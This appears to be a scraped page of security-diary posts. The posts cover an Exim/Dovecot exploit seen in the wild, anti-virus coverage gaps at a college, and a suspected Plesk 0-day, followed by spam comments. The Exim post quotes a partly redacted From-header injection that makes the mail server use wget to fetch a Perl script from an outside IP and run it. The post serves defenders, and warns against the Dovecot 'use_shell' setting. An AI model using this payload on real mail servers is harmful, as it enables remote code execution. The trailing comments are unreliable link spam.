Exim/Dovecot exploit making the rounds
One of our readers wrote in to let us know that he had received an attempted Exim/Dovecot exploit attempt against his email server. The exploit partially looked like this:
From: x`wget${IFS}-O${IFS}/tmp/crew.pl${IFS}50.xx.xx.xx/dc.txt``perl${IFS}/tmp/crew.pl`@blaat.com
(Obviously edited for your safety, and I didn't post the whole thing.)
This is an exploit against Dovecot that is using the feature "use_shell" against itself. This feature, unfortunately, is found in the example wiki on Dovecot's website, and also in their example configuration. We'd caution anyone that is using Dovecot to take a look at their configuration and make use they aren't using the "use_shell" parameter. Or if you are, make darn sure you know what you are doing, and how to defend yourself.
-- Joel Esler | http://blog.joelesler.net | http://twitter.com/joelesler
100% Compliant (for 65% of the systems)
At a community college where I'm helping out whenever they panic on security issues, I recently was confronted with the odd reality of a lingering malware infection on their network, even though they had deployed a custom anti-virus (AV) pattern ("extra.dat") to eradicate the problem. Of course, these days, reliance on anti-virus is somewhat moot to begin with, our recent tally of fresh samples submitted to VirusTotal had AV lagging behind about 8 days or so. If you caught a keylogger spyware, 8 days is plenty to wreak havoc. I usually compare today's AV to the coroner in CSI, he can probably tell what killed you, but won't keep you alive.
But back to the college. Turns out they verify on a weekly basis if all the PCs have a current pattern, and they also verified that all their PCs got the "extra" pattern. The only problem was, their definition of "all" relied on the AV-tool itself. Obviously, if a PC doesn't have anti-virus installed, it won't show up on the anti-virus console. Hence, if your AV claims you have 100% compliance, you might want to check an alternate repository, like for example your Active Directory, to compare numbers. When I ran this test at the college, I found that their network/AD had 51 more workstations than their AV knew about. No wonder they still had frequent hits on the IDS for the backdoor traffic.
Never rely on a single security tool to tell you that everything is fine. Throw two or more sets of data against each other, and investigate discrepancies. Like your fishing or drinking or training buddy, security tools lie. Get acquainted with the usual pattern of lies (or obfuscated truths :), and surprises and disappointments will become less frequent.
Plesk 0-day: Real or not?
Yesterday, a poster to the full disclosure mailing list described a possible new 0-day vulnerability against Plesk. Contributing to the vulnerability is a very odd configuration choice to expose "/usr/bin" via a ScriptAlias, making executables inside the directory reachable via URLs.
The big question that hasn't been answered so far is how common this configuration choice is. Appaerently, some versions of Plesk on CentOS 5 are configured this way, but not necessarily exploitable. The exploit is pretty easy to spot. It sends a heavily URL encoded POST request with a "Googlebot" user agent. Google typically doesn't send POST requests, so they are pretty easy to spot. I found a couple POSTS from "Google" (actually a "random" Chinese IP address, 222.187.222.122 ) in our web logs here.
Masquearding as Google is a common trick among exploit scripts.
Please verify that your Apache configuration does NOT include this line:
ScriptAlias /phppath/ "/usr/bin/"
------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter
Comments
Anonymous
Dec 3rd 2022
9 months ago
Anonymous
Dec 3rd 2022
9 months ago
<a hreaf="https://technolytical.com/">the social network</a> is described as follows because they respect your privacy and keep your data secure. The social networks are not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go.
<a hreaf="https://technolytical.com/">the social network</a> is not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go. The social networks only collect the minimum amount of information required for the service that they provide. Your personal information is kept private, and is never shared with other companies without your permission
Anonymous
Dec 26th 2022
8 months ago
Anonymous
Dec 26th 2022
8 months ago
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> nearest public toilet to me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
Anonymous
Dec 26th 2022
8 months ago
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> nearest public toilet to me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
Anonymous
Dec 26th 2022
8 months ago
Anonymous
Dec 26th 2022
8 months ago
https://defineprogramming.com/
Dec 26th 2022
8 months ago
distribute malware. Even if the URL listed on the ad shows a legitimate website, subsequent ad traffic can easily lead to a fake page. Different types of malware are distributed in this manner. I've seen IcedID (Bokbot), Gozi/ISFB, and various information stealers distributed through fake software websites that were provided through Google ad traffic. I submitted malicious files from this example to VirusTotal and found a low rate of detection, with some files not showing as malware at all. Additionally, domains associated with this infection frequently change. That might make it hard to detect.
https://clickercounter.org/
https://defineprogramming.com/
Dec 26th 2022
8 months ago
rthrth
Jan 2nd 2023
8 months ago